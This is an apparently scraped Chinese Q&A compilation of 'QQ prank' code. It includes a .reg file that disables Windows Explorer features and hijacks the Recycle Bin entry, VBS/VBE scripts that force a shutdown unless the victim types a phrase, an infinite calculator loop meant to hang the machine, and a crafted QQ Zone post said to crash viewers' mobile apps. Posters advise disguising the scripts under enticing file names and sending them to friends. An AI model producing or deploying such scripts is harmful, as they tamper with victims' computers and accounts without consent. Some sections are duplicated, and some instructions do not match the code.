qq整蛊源码

A. 求一个QQ无毒的恶作剧！！！！！

vbe本身是一种容易加密的东西，不容易查杀，有的别有用心的人就拿它做病毒，有的杀软太狂暴，就把vbe全杀了……
给你个新的：
源码：
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"LegalNoticeCaption"="黑客"
"LegalNoticeText"="你被攻击啦!"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"Norun"=dword:1
"NotStartMenuNetwokPlaces"=dword:1
"NoClosc"=dword:1
"Nofind"=1

[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@C:\WINDOWS\system32\SHELL32.dll,-9216"="sagjghhnf"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}]
""="{4141-1c45-d542}"

把源码保存的文件后缀改为REG，想解决源码如下：

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"Norun"=dword:0
"NotStartMenuNetwokPlaces"=dword:0
"NoClosc"=dword:0
"Nofind"=0

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}]
""="回收站"

（自己写滴哦）

B. 手机QQ的整人代码大全

第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")

C. 据说腾讯QQ这个软件是套别人的源码,是否真的

哪有源码会给人 没有 不过QQ是访人家美国MSN的 看样子做起来 也就是说偷人家的创意 再加自己的元素进去 不过大体柜架和原理跟人家相同 你看不是有一个腾讯浏览器 它是微软的 外观变了 我是做WEB程序的 一输入显示浏览器信息的程序 显示出的结果是微软IE4.0版
不过现在大部份是这样 即使是微软它也有效访人家的 上次这家美国公司看见QQ这么红 就想告人家 结果好像也不得而终 这东西很难说清楚 你能画树 我就不能画树了 不过可以肯定的说 QQ这创意是学人家

D. 现在QQ流行的整蛊代码 网警33652 是什么搞的

QQ空间最新整人BUG QQ空间说说整人BUG代码。一个最新的QQ空间BUG，可以让别人手机看到你的说说以后闪退，并且手机QQ空间进不去！卸载重装也没有办法，只有你本人能解除。大家是不是很想知道，现在小编就来告诉大家怎么设置。 QQ空间最新整人BUG QQ空间说说整人BUG代码：整人方法： 1、手机编辑说说格式如下： {uin:数字或,nick数字或文字,who:1} 举个列子：小编的整人说说 2、发表这个说说 注意：也可以电脑发这个说说 然后别人用手机看到你的说说就会闪退啦，并且再也打不开，她会求你给她解锁的.... 解除方法： 注意这个方法会使你自己的QQ空间也不能看动态，你要用电脑登陆QQ空间，删除这条说说！只有这个方法能解除！ 这就是小编跟大家带来的QQ空间最新整人BUG，QQ空间说说整人BUG代码。

E. QQ整人软件（要狠一点的）

1、上八目妖有。2、自制一点击就出现无数个计算器，直到死机为止。在记事本里输入，最后把扩展名改成VBS得那种。

Dim objws
Set objws=wscript.createobject("wscript.shell")
Do
objws.Run "calc"
Loop

整人小程序：说我是猪就不关机
程序, 整人
on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快说“我是猪”，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

msgbox chr(13) + chr(13) + chr(13) + "乖孩子真听话啊"

msgbox chr(13) + chr(13) + chr(13) + "下次叔叔买糖给你吃"

msgbox chr(13) + chr(13) + chr(13) + "要吃什么糖啊"

msgbox chr(13) + chr(13) + chr(13) + "什么，大白兔？"

msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了长石头啊"

msgbox chr(13) + chr(13) + chr(13) + "要不叔叔给你讲个故事"

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

msgbox chr(13) + chr(13) + chr(13) + "老和尚在给小和尚讲故事"

msgbox chr(13) + chr(13) + chr(13) + "讲什么故事呢"

msgbox chr(13) + chr(13) + chr(13) + "故事是这样的"

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

msgbox chr(13) + chr(13) + chr(13) + "什么，不听了"

msgbox chr(13) + chr(13) + chr(13) + "别哭别哭，叔叔给你买糖！"
复制代码一个整人的小代码，“说我是猪就不关机”
把上面的代码复制到记事本里，把后缀名改成.VBE

F. qq空间整人程序

什么样的,要是像现在流行的那种到不难
http://www.opopn.com/index.php
整蛊论坛这里有几个关于QQ空间整人代码的方法
如果不懂的话去论坛找我,
QQ币就免了没兴趣.多给点分就OK了

G. 手机qq整人代码大全谁有 发一下 谢谢

第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")